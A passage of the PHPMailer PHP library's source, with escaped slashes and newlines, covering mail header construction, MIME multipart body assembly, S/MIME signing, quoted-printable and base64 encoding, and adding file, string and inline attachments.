$this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);\n\n \/\/ To be created automatically by mail()\n if ($this->SingleTo) {\n if ($this->Mailer != 'mail') {\n foreach ($this->to as $toaddr) {\n $this->SingleToArray[] = $this->addrFormat($toaddr);\n }\n }\n } else {\n if (count($this->to) > 0) {\n if ($this->Mailer != 'mail') {\n $result .= $this->addrAppend('To', $this->to);\n }\n } elseif (count($this->cc) == 0) {\n $result .= $this->headerLine('To', 'undisclosed-recipients:;');\n }\n }\n\n $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));\n\n \/\/ sendmail and mail() extract Cc from the header before sending\n if (count($this->cc) > 0) {\n $result .= $this->addrAppend('Cc', $this->cc);\n }\n\n \/\/ sendmail and mail() extract Bcc from the header before sending\n if ((\n $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'\n )\n and count($this->bcc) > 0\n ) {\n $result .= $this->addrAppend('Bcc', $this->bcc);\n }\n\n if (count($this->ReplyTo) > 0) {\n $result .= $this->addrAppend('Reply-To', $this->ReplyTo);\n }\n\n \/\/ mail() sets the subject itself\n if ($this->Mailer != 'mail') {\n $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));\n }\n\n \/\/ Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4\n \/\/ https:\/\/tools.ietf.org\/html\/rfc5322#section-3.6.4\n if ('' != $this->MessageID and preg_match('\/^<.*@.*>$\/', $this->MessageID)) {\n $this->lastMessageID = $this->MessageID;\n } else {\n $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());\n }\n $result .= $this->headerLine('Message-ID', $this->lastMessageID);\n if (!is_null($this->Priority)) {\n $result .= $this->headerLine('X-Priority', $this->Priority);\n }\n if ($this->XMailer == '') {\n $result .= $this->headerLine(\n 'X-Mailer',\n 'PHPMailer ' . $this->Version . ' (https:\/\/github.com\/PHPMailer\/PHPMailer)'\n );\n } else {\n $myXmailer = trim($this->XMailer);\n if ($myXmailer) {\n $result .= $this->headerLine('X-Mailer', $myXmailer);\n }\n }\n\n if ($this->ConfirmReadingTo != '') {\n $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');\n }\n\n \/\/ Add custom headers\n foreach ($this->CustomHeader as $header) {\n $result .= $this->headerLine(\n trim($header[0]),\n $this->encodeHeader(trim($header[1]))\n );\n }\n if (!$this->sign_key_file) {\n $result .= $this->headerLine('MIME-Version', '1.0');\n $result .= $this->getMailMIME();\n }\n\n return $result;\n }\n\n \/**\n * Get the message MIME type headers.\n * @access public\n * @return string\n *\/\n public function getMailMIME()\n {\n $result = '';\n $ismultipart = true;\n switch ($this->message_type) {\n case 'inline':\n $result .= $this->headerLine('Content-Type', 'multipart\/related;');\n $result .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[1] . '\"');\n break;\n case 'attach':\n case 'inline_attach':\n case 'alt_attach':\n case 'alt_inline_attach':\n $result .= $this->headerLine('Content-Type', 'multipart\/mixed;');\n $result .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[1] . '\"');\n break;\n case 'alt':\n case 'alt_inline':\n $result .= $this->headerLine('Content-Type', 'multipart\/alternative;');\n $result .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[1] . '\"');\n break;\n default:\n \/\/ Catches case 'plain': and case '':\n $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);\n $ismultipart = false;\n break;\n }\n \/\/ RFC1341 part 5 says 7bit is assumed if not specified\n if ($this->Encoding != '7bit') {\n \/\/ RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE\n if ($ismultipart) {\n if ($this->Encoding == '8bit') {\n $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');\n }\n \/\/ The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible\n } else {\n $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);\n }\n }\n\n if ($this->Mailer != 'mail') {\n $result .= $this->LE;\n }\n\n return $result;\n }\n\n \/**\n * Returns the whole MIME message.\n * Includes complete headers and body.\n * Only valid post preSend().\n * @see PHPMailer::preSend()\n * @access public\n * @return string\n *\/\n public function getSentMIMEMessage()\n {\n return rtrim($this->MIMEHeader . $this->mailHeader, \"\\n\\r\") . self::CRLF . self::CRLF . $this->MIMEBody;\n }\n\n \/**\n * Create unique ID\n * @return string\n *\/\n protected function generateId() {\n return md5(uniqid(time()));\n }\n\n \/**\n * Assemble the message body.\n * Returns an empty string on failure.\n * @access public\n * @throws phpmailerException\n * @return string The assembled message body\n *\/\n public function createBody()\n {\n $body = '';\n \/\/Create unique IDs and preset boundaries\n $this->uniqueid = $this->generateId();\n $this->boundary[1] = 'b1_' . $this->uniqueid;\n $this->boundary[2] = 'b2_' . $this->uniqueid;\n $this->boundary[3] = 'b3_' . $this->uniqueid;\n\n if ($this->sign_key_file) {\n $body .= $this->getMailMIME() . $this->LE;\n }\n\n $this->setWordWrap();\n\n $bodyEncoding = $this->Encoding;\n $bodyCharSet = $this->CharSet;\n \/\/Can we do a 7-bit downgrade?\n if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {\n $bodyEncoding = '7bit';\n \/\/All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit\n $bodyCharSet = 'us-ascii';\n }\n \/\/If lines are too long, and we're not already using an encoding that will shorten them,\n \/\/change to quoted-printable transfer encoding for the body part only\n if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {\n $bodyEncoding = 'quoted-printable';\n }\n\n $altBodyEncoding = $this->Encoding;\n $altBodyCharSet = $this->CharSet;\n \/\/Can we do a 7-bit downgrade?\n if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {\n $altBodyEncoding = '7bit';\n \/\/All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit\n $altBodyCharSet = 'us-ascii';\n }\n \/\/If lines are too long, and we're not already using an encoding that will shorten them,\n \/\/change to quoted-printable transfer encoding for the alt body part only\n if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {\n $altBodyEncoding = 'quoted-printable';\n }\n \/\/Use this as a preamble in all multipart message types\n $mimepre = \"This is a multi-part message in MIME format.\" . $this->LE . $this->LE;\n switch ($this->message_type) {\n case 'inline':\n $body .= $mimepre;\n $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('inline', $this->boundary[1]);\n break;\n case 'attach':\n $body .= $mimepre;\n $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('attachment', $this->boundary[1]);\n break;\n case 'inline_attach':\n $body .= $mimepre;\n $body .= $this->textLine('--' . $this->boundary[1]);\n $body .= $this->headerLine('Content-Type', 'multipart\/related;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[2] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('inline', $this->boundary[2]);\n $body .= $this->LE;\n $body .= $this->attachAll('attachment', $this->boundary[1]);\n break;\n case 'alt':\n $body .= $mimepre;\n $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text\/plain', $altBodyEncoding);\n $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text\/html', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n if (!empty($this->Ical)) {\n $body .= $this->getBoundary($this->boundary[1], '', 'text\/calendar; method=REQUEST', '');\n $body .= $this->encodeString($this->Ical, $this->Encoding);\n $body .= $this->LE . $this->LE;\n }\n $body .= $this->endBoundary($this->boundary[1]);\n break;\n case 'alt_inline':\n $body .= $mimepre;\n $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text\/plain', $altBodyEncoding);\n $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->textLine('--' . $this->boundary[1]);\n $body .= $this->headerLine('Content-Type', 'multipart\/related;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[2] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text\/html', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('inline', $this->boundary[2]);\n $body .= $this->LE;\n $body .= $this->endBoundary($this->boundary[1]);\n break;\n case 'alt_attach':\n $body .= $mimepre;\n $body .= $this->textLine('--' . $this->boundary[1]);\n $body .= $this->headerLine('Content-Type', 'multipart\/alternative;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[2] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text\/plain', $altBodyEncoding);\n $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text\/html', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->endBoundary($this->boundary[2]);\n $body .= $this->LE;\n $body .= $this->attachAll('attachment', $this->boundary[1]);\n break;\n case 'alt_inline_attach':\n $body .= $mimepre;\n $body .= $this->textLine('--' . $this->boundary[1]);\n $body .= $this->headerLine('Content-Type', 'multipart\/alternative;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[2] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text\/plain', $altBodyEncoding);\n $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->textLine('--' . $this->boundary[2]);\n $body .= $this->headerLine('Content-Type', 'multipart\/related;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[3] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text\/html', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('inline', $this->boundary[3]);\n $body .= $this->LE;\n $body .= $this->endBoundary($this->boundary[2]);\n $body .= $this->LE;\n $body .= $this->attachAll('attachment', $this->boundary[1]);\n break;\n default:\n \/\/ Catch case 'plain' and case '', applies to simple `text\/plain` and `text\/html` body content types\n \/\/Reset the `Encoding` property in case we changed it for line length reasons\n $this->Encoding = $bodyEncoding;\n $body .= $this->encodeString($this->Body, $this->Encoding);\n break;\n }\n\n if ($this->isError()) {\n $body = '';\n } elseif ($this->sign_key_file) {\n try {\n if (!defined('PKCS7_TEXT')) {\n throw new phpmailerException($this->lang('extension_missing') . 'openssl');\n }\n \/\/ @TODO would be nice to use php:\/\/temp streams here, but need to wrap for PHP < 5.1\n $file = tempnam(sys_get_temp_dir(), 'mail');\n if (false === file_put_contents($file, $body)) {\n throw new phpmailerException($this->lang('signing') . ' Could not write temp file');\n }\n $signed = tempnam(sys_get_temp_dir(), 'signed');\n \/\/Workaround for PHP bug https:\/\/bugs.php.net\/bug.php?id=69197\n if (empty($this->sign_extracerts_file)) {\n $sign = @openssl_pkcs7_sign(\n $file,\n $signed,\n 'file:\/\/' . realpath($this->sign_cert_file),\n array('file:\/\/' . realpath($this->sign_key_file), $this->sign_key_pass),\n null\n );\n } else {\n $sign = @openssl_pkcs7_sign(\n $file,\n $signed,\n 'file:\/\/' . realpath($this->sign_cert_file),\n array('file:\/\/' . realpath($this->sign_key_file), $this->sign_key_pass),\n null,\n PKCS7_DETACHED,\n $this->sign_extracerts_file\n );\n }\n if ($sign) {\n @unlink($file);\n $body = file_get_contents($signed);\n @unlink($signed);\n \/\/The message returned by openssl contains both headers and body, so need to split them up\n $parts = explode(\"\\n\\n\", $body, 2);\n $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;\n $body = $parts[1];\n } else {\n @unlink($file);\n @unlink($signed);\n throw new phpmailerException($this->lang('signing') . openssl_error_string());\n }\n } catch (phpmailerException $exc) {\n $body = '';\n if ($this->exceptions) {\n throw $exc;\n }\n }\n }\n return $body;\n }\n\n \/**\n * Return the start of a message boundary.\n * @access protected\n * @param string $boundary\n * @param string $charSet\n * @param string $contentType\n * @param string $encoding\n * @return string\n *\/\n protected function getBoundary($boundary, $charSet, $contentType, $encoding)\n {\n $result = '';\n if ($charSet == '') {\n $charSet = $this->CharSet;\n }\n if ($contentType == '') {\n $contentType = $this->ContentType;\n }\n if ($encoding == '') {\n $encoding = $this->Encoding;\n }\n $result .= $this->textLine('--' . $boundary);\n $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);\n $result .= $this->LE;\n \/\/ RFC1341 part 5 says 7bit is assumed if not specified\n if ($encoding != '7bit') {\n $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);\n }\n $result .= $this->LE;\n\n return $result;\n }\n\n \/**\n * Return the end of a message boundary.\n * @access protected\n * @param string $boundary\n * @return string\n *\/\n protected function endBoundary($boundary)\n {\n return $this->LE . '--' . $boundary . '--' . $this->LE;\n }\n\n \/**\n * Set the message type.\n * PHPMailer only supports some preset message types, not arbitrary MIME structures.\n * @access protected\n * @return void\n *\/\n protected function setMessageType()\n {\n $type = array();\n if ($this->alternativeExists()) {\n $type[] = 'alt';\n }\n if ($this->inlineImageExists()) {\n $type[] = 'inline';\n }\n if ($this->attachmentExists()) {\n $type[] = 'attach';\n }\n $this->message_type = implode('_', $type);\n if ($this->message_type == '') {\n \/\/The 'plain' message_type refers to the message having a single body element, not that it is plain-text\n $this->message_type = 'plain';\n }\n }\n\n \/**\n * Format a header line.\n * @access public\n * @param string $name\n * @param string $value\n * @return string\n *\/\n public function headerLine($name, $value)\n {\n return $name . ': ' . $value . $this->LE;\n }\n\n \/**\n * Return a formatted mail line.\n * @access public\n * @param string $value\n * @return string\n *\/\n public function textLine($value)\n {\n return $value . $this->LE;\n }\n\n \/**\n * Add an attachment from a path on the filesystem.\n * Never use a user-supplied path to a file!\n * Returns false if the file could not be found or read.\n * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.\n * If you need to do that, fetch the resource yourself and pass it in via a local file or string.\n * @param string $path Path to the attachment.\n * @param string $name Overrides the attachment name.\n * @param string $encoding File encoding (see $Encoding).\n * @param string $type File extension (MIME) type.\n * @param string $disposition Disposition to use\n * @throws phpmailerException\n * @return boolean\n *\/\n public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')\n {\n try {\n if (!self::isPermittedPath($path) or !@is_file($path)) {\n throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);\n }\n\n \/\/ If a MIME type is not specified, try to work it out from the file name\n if ($type == '') {\n $type = self::filenameToType($path);\n }\n\n $filename = basename($path);\n if ($name == '') {\n $name = $filename;\n }\n\n $this->attachment[] = array(\n 0 => $path,\n 1 => $filename,\n 2 => $name,\n 3 => $encoding,\n 4 => $type,\n 5 => false, \/\/ isStringAttachment\n 6 => $disposition,\n 7 => 0\n );\n\n } catch (phpmailerException $exc) {\n $this->setError($exc->getMessage());\n $this->edebug($exc->getMessage());\n if ($this->exceptions) {\n throw $exc;\n }\n return false;\n }\n return true;\n }\n\n \/**\n * Return the array of attachments.\n * @return array\n *\/\n public function getAttachments()\n {\n return $this->attachment;\n }\n\n \/**\n * Attach all file, string, and binary attachments to the message.\n * Returns an empty string on failure.\n * @access protected\n * @param string $disposition_type\n * @param string $boundary\n * @return string\n *\/\n protected function attachAll($disposition_type, $boundary)\n {\n \/\/ Return text of body\n $mime = array();\n $cidUniq = array();\n $incl = array();\n\n \/\/ Add all attachments\n foreach ($this->attachment as $attachment) {\n \/\/ Check if it is a valid disposition_filter\n if ($attachment[6] == $disposition_type) {\n \/\/ Check for string attachment\n $string = '';\n $path = '';\n $bString = $attachment[5];\n if ($bString) {\n $string = $attachment[0];\n } else {\n $path = $attachment[0];\n }\n\n $inclhash = md5(serialize($attachment));\n if (in_array($inclhash, $incl)) {\n continue;\n }\n $incl[] = $inclhash;\n $name = $attachment[2];\n $encoding = $attachment[3];\n $type = $attachment[4];\n $disposition = $attachment[6];\n $cid = $attachment[7];\n if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {\n continue;\n }\n $cidUniq[$cid] = true;\n\n $mime[] = sprintf('--%s%s', $boundary, $this->LE);\n \/\/Only include a filename property if we have one\n if (!empty($name)) {\n $mime[] = sprintf(\n 'Content-Type: %s; name=\"%s\"%s',\n $type,\n $this->encodeHeader($this->secureHeader($name)),\n $this->LE\n );\n } else {\n $mime[] = sprintf(\n 'Content-Type: %s%s',\n $type,\n $this->LE\n );\n }\n \/\/ RFC1341 part 5 says 7bit is assumed if not specified\n if ($encoding != '7bit') {\n $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);\n }\n\n if ($disposition == 'inline') {\n $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);\n }\n\n \/\/ If a filename contains any of these chars, it should be quoted,\n \/\/ but not otherwise: RFC2183 & RFC2045 5.1\n \/\/ Fixes a warning in IETF's msglint MIME checker\n \/\/ Allow for bypassing the Content-Disposition header totally\n if (!(empty($disposition))) {\n $encoded_name = $this->encodeHeader($this->secureHeader($name));\n if (preg_match('\/[ \\(\\)<>@,;:\\\\\"\\\/\\[\\]\\?=]\/', $encoded_name)) {\n $mime[] = sprintf(\n 'Content-Disposition: %s; filename=\"%s\"%s',\n $disposition,\n $encoded_name,\n $this->LE . $this->LE\n );\n } else {\n if (!empty($encoded_name)) {\n $mime[] = sprintf(\n 'Content-Disposition: %s; filename=%s%s',\n $disposition,\n $encoded_name,\n $this->LE . $this->LE\n );\n } else {\n $mime[] = sprintf(\n 'Content-Disposition: %s%s',\n $disposition,\n $this->LE . $this->LE\n );\n }\n }\n } else {\n $mime[] = $this->LE;\n }\n\n \/\/ Encode as string attachment\n if ($bString) {\n $mime[] = $this->encodeString($string, $encoding);\n if ($this->isError()) {\n return '';\n }\n $mime[] = $this->LE . $this->LE;\n } else {\n $mime[] = $this->encodeFile($path, $encoding);\n if ($this->isError()) {\n return '';\n }\n $mime[] = $this->LE . $this->LE;\n }\n }\n }\n\n $mime[] = sprintf('--%s--%s', $boundary, $this->LE);\n\n return implode('', $mime);\n }\n\n \/**\n * Encode a file attachment in requested format.\n * Returns an empty string on failure.\n * @param string $path The full path to the file\n * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'\n * @throws phpmailerException\n * @access protected\n * @return string\n *\/\n protected function encodeFile($path, $encoding = 'base64')\n {\n try {\n if (!self::isPermittedPath($path) or !file_exists($path)) {\n throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);\n }\n $magic_quotes = false;\n if( version_compare(PHP_VERSION, '7.4.0', '<') ) {\n $magic_quotes = get_magic_quotes_runtime();\n }\n if ($magic_quotes) {\n if (version_compare(PHP_VERSION, '5.3.0', '<')) {\n set_magic_quotes_runtime(false);\n } else {\n \/\/Doesn't exist in PHP 5.4, but we don't need to check because\n \/\/get_magic_quotes_runtime always returns false in 5.4+\n \/\/so it will never get here\n ini_set('magic_quotes_runtime', false);\n }\n }\n $file_buffer = file_get_contents($path);\n $file_buffer = $this->encodeString($file_buffer, $encoding);\n if ($magic_quotes) {\n if (version_compare(PHP_VERSION, '5.3.0', '<')) {\n set_magic_quotes_runtime($magic_quotes);\n } else {\n ini_set('magic_quotes_runtime', $magic_quotes);\n }\n }\n return $file_buffer;\n } catch (Exception $exc) {\n $this->setError($exc->getMessage());\n return '';\n }\n }\n\n \/**\n * Encode a string in requested format.\n * Returns an empty string on failure.\n * @param string $str The text to encode\n * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'\n * @access public\n * @return string\n *\/\n public function encodeString($str, $encoding = 'base64')\n {\n $encoded = '';\n switch (strtolower($encoding)) {\n case 'base64':\n $encoded = chunk_split(base64_encode($str), 76, $this->LE);\n break;\n case '7bit':\n case '8bit':\n $encoded = $this->fixEOL($str);\n \/\/ Make sure it ends with a line break\n if (substr($encoded, -(strlen($this->LE))) != $this->LE) {\n $encoded .= $this->LE;\n }\n break;\n case 'binary':\n $encoded = $str;\n break;\n case 'quoted-printable':\n $encoded = $this->encodeQP($str);\n break;\n default:\n $this->setError($this->lang('encoding') . $encoding);\n break;\n }\n return $encoded;\n }\n\n \/**\n * Encode a header string optimally.\n * Picks shortest of Q, B, quoted-printable or none.\n * @access public\n * @param string $str\n * @param string $position\n * @return string\n *\/\n public function encodeHeader($str, $position = 'text')\n {\n $matchcount = 0;\n switch (strtolower($position)) {\n case 'phrase':\n if (!preg_match('\/[\\200-\\377]\/', $str)) {\n \/\/ Can't use addslashes as we don't know the value of magic_quotes_sybase\n $encoded = addcslashes($str, \"\\0..\\37\\177\\\\\\\"\");\n if (($str == $encoded) && !preg_match('\/[^A-Za-z0-9!#$%&\\'*+\\\/=?^_`{|}~ -]\/', $str)) {\n return ($encoded);\n } else {\n return (\"\\\"$encoded\\\"\");\n }\n }\n $matchcount = preg_match_all('\/[^\\040\\041\\043-\\133\\135-\\176]\/', $str, $matches);\n break;\n \/** @noinspection PhpMissingBreakStatementInspection *\/\n case 'comment':\n $matchcount = preg_match_all('\/[()\"]\/', $str, $matches);\n \/\/ Intentional fall-through\n case 'text':\n default:\n $matchcount += preg_match_all('\/[\\000-\\010\\013\\014\\016-\\037\\177-\\377]\/', $str, $matches);\n break;\n }\n\n \/\/There are no chars that need encoding\n if ($matchcount == 0) {\n return ($str);\n }\n\n $maxlen = 75 - 7 - strlen($this->CharSet);\n \/\/ Try to select the encoding which should produce the shortest output\n if ($matchcount > strlen($str) \/ 3) {\n \/\/ More than a third of the content will need encoding, so B encoding will be most efficient\n $encoding = 'B';\n if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {\n \/\/ Use a custom function which correctly encodes and wraps long\n \/\/ multibyte strings without breaking lines within a character\n $encoded = $this->base64EncodeWrapMB($str, \"\\n\");\n } else {\n $encoded = base64_encode($str);\n $maxlen -= $maxlen % 4;\n $encoded = trim(chunk_split($encoded, $maxlen, \"\\n\"));\n }\n } else {\n $encoding = 'Q';\n $encoded = $this->encodeQ($str, $position);\n $encoded = $this->wrapText($encoded, $maxlen, true);\n $encoded = str_replace('=' . self::CRLF, \"\\n\", trim($encoded));\n }\n\n $encoded = preg_replace('\/^(.*)$\/m', ' =?' . $this->CharSet . \"?$encoding?\\\\1?=\", $encoded);\n $encoded = trim(str_replace(\"\\n\", $this->LE, $encoded));\n\n return $encoded;\n }\n\n \/**\n * Check if a string contains multi-byte characters.\n * @access public\n * @param string $str multi-byte text to wrap encode\n * @return boolean\n *\/\n public function hasMultiBytes($str)\n {\n if (function_exists('mb_strlen')) {\n return (strlen($str) > mb_strlen($str, $this->CharSet));\n } else { \/\/ Assume no multibytes (we can't handle without mbstring functions anyway)\n return false;\n }\n }\n\n \/**\n * Does a string contain any 8-bit chars (in any charset)?\n * @param string $text\n * @return boolean\n *\/\n public function has8bitChars($text)\n {\n return (boolean)preg_match('\/[\\x80-\\xFF]\/', $text);\n }\n\n \/**\n * Encode and wrap long multibyte strings for mail headers\n * without breaking lines within a character.\n * Adapted from a function by paravoid\n * @link http:\/\/www.php.net\/manual\/en\/function.mb-encode-mimeheader.php#60283\n * @access public\n * @param string $str multi-byte text to wrap encode\n * @param string $linebreak string to use as linefeed\/end-of-line\n * @return string\n *\/\n public function base64EncodeWrapMB($str, $linebreak = null)\n {\n $start = '=?' . $this->CharSet . '?B?';\n $end = '?=';\n $encoded = '';\n if ($linebreak === null) {\n $linebreak = $this->LE;\n }\n\n $mb_length = mb_strlen($str, $this->CharSet);\n \/\/ Each line must have length <= 75, including $start and $end\n $length = 75 - strlen($start) - strlen($end);\n \/\/ Average multi-byte ratio\n $ratio = $mb_length \/ strlen($str);\n \/\/ Base64 has a 4:3 ratio\n $avgLength = floor($length * $ratio * .75);\n\n for ($i = 0; $i < $mb_length; $i += $offset) {\n $lookBack = 0;\n do {\n $offset = $avgLength - $lookBack;\n $chunk = mb_substr($str, $i, $offset, $this->CharSet);\n $chunk = base64_encode($chunk);\n $lookBack++;\n } while (strlen($chunk) > $length);\n $encoded .= $chunk . $linebreak;\n }\n\n \/\/ Chomp the last linefeed\n $encoded = substr($encoded, 0, -strlen($linebreak));\n return $encoded;\n }\n\n \/**\n * Encode a string in quoted-printable format.\n * According to RFC2045 section 6.7.\n * @access public\n * @param string $string The text to encode\n * @param integer $line_max Number of chars allowed on a line before wrapping\n * @return string\n * @link http:\/\/www.php.net\/manual\/en\/function.quoted-printable-decode.php#89417 Adapted from this comment\n *\/\n public function encodeQP($string, $line_max = 76)\n {\n \/\/ Use native function if it's available (>= PHP5.3)\n if (function_exists('quoted_printable_encode')) {\n return quoted_printable_encode($string);\n }\n \/\/ Fall back to a pure PHP implementation\n $string = str_replace(\n array('%20', '%0D%0A.', '%0D%0A', '%'),\n array(' ', \"\\r\\n=2E\", \"\\r\\n\", '='),\n rawurlencode($string)\n );\n return preg_replace('\/[^\\r\\n]{' . ($line_max - 3) . '}[^=\\r\\n]{2}\/', \"$0=\\r\\n\", $string);\n }\n\n \/**\n * Backward compatibility wrapper for an old QP encoding function that was removed.\n * @see PHPMailer::encodeQP()\n * @access public\n * @param string $string\n * @param integer $line_max\n * @param boolean $space_conv\n * @return string\n * @deprecated Use encodeQP instead.\n *\/\n public function encodeQPphp(\n $string,\n $line_max = 76,\n \/** @noinspection PhpUnusedParameterInspection *\/ $space_conv = false\n ) {\n return $this->encodeQP($string, $line_max);\n }\n\n \/**\n * Encode a string using Q encoding.\n * @link http:\/\/tools.ietf.org\/html\/rfc2047\n * @param string $str the text to encode\n * @param string $position Where the text is going to be used, see the RFC for what that means\n * @access public\n * @return string\n *\/\n public function encodeQ($str, $position = 'text')\n {\n \/\/ There should not be any EOL in the string\n $pattern = '';\n $encoded = str_replace(array(\"\\r\", \"\\n\"), '', $str);\n switch (strtolower($position)) {\n case 'phrase':\n \/\/ RFC 2047 section 5.3\n $pattern = '^A-Za-z0-9!*+\\\/ -';\n break;\n \/** @noinspection PhpMissingBreakStatementInspection *\/\n case 'comment':\n \/\/ RFC 2047 section 5.2\n $pattern = '\\(\\)\"';\n \/\/ intentional fall-through\n \/\/ for this reason we build the $pattern without including delimiters and []\n case 'text':\n default:\n \/\/ RFC 2047 section 5.1\n \/\/ Replace every high ascii, control, =, ? and _ characters\n $pattern = '\\000-\\011\\013\\014\\016-\\037\\075\\077\\137\\177-\\377' . $pattern;\n break;\n }\n $matches = array();\n if (preg_match_all(\"\/[{$pattern}]\/\", $encoded, $matches)) {\n \/\/ If the string contains an '=', make sure it's the first thing we replace\n \/\/ so as to avoid double-encoding\n $eqkey = array_search('=', $matches[0]);\n if (false !== $eqkey) {\n unset($matches[0][$eqkey]);\n array_unshift($matches[0], '=');\n }\n foreach (array_unique($matches[0]) as $char) {\n $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);\n }\n }\n \/\/ Replace every spaces to _ (more readable than =20)\n return str_replace(' ', '_', $encoded);\n }\n\n \/**\n * Add a string or binary attachment (non-filesystem).\n * This method can be used to attach ascii or binary data,\n * such as a BLOB record from a database.\n * @param string $string String attachment data.\n * @param string $filename Name of the attachment.\n * @param string $encoding File encoding (see $Encoding).\n * @param string $type File extension (MIME) type.\n * @param string $disposition Disposition to use\n * @return void\n *\/\n public function addStringAttachment(\n $string,\n $filename,\n $encoding = 'base64',\n $type = '',\n $disposition = 'attachment'\n ) {\n \/\/ If a MIME type is not specified, try to work it out from the file name\n if ($type == '') {\n $type = self::filenameToType($filename);\n }\n \/\/ Append to $attachment array\n $this->attachment[] = array(\n 0 => $string,\n 1 => $filename,\n 2 => basename($filename),\n 3 => $encoding,\n 4 => $type,\n 5 => true, \/\/ isStringAttachment\n 6 => $disposition,\n 7 => 0\n );\n }\n\n \/**\n * Add an embedded (inline) attachment from a file.\n * This can include images, sounds, and just about any other document type.\n * These differ from 'regular' attachments in that they are intended to be\n * displayed inline with the message, not just attached for download.\n * This is used in HTML messages that embed the images\n * the HTML refers to using the $cid value.\n * Never use a user-supplied path to a file!\n * @param string $path Path to the attachment.\n * @param string $cid Content ID of the attachment; Use this to reference\n * the content when using an embedded image in HTML.\n * @param string $name Overrides the attachment name.\n * @param string $encoding File encoding (see $Encoding).\n * @param string $type File MIME type.\n * @param string $disposition Disposition to use\n * @return boolean True on successfully adding an attachment\n *\/\n public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')\n {\n if (!self::isPermittedPath($path) or !@is_file($path)) {\n $this->setError($this->lang('file_access') . $path);\n return false;\n }\n\n \/\/ If a MIME type is not specified, try to work it out from the file name\n if ($type == '') {\n $type = self::filenameToType($path);\n }\n\n $filename = basename($path);\n if ($name == '') {\n $name = $filename;\n }\n\n \/\/ Append to $attachment array\n $this->attachment[] = array(\n 0 => $path,\n 1 => $filename,\n 2 => $name,\n 3 => $encoding,\n 4 => $type,\n 5 => false, \/\/ isStringAttachment\n 6 => 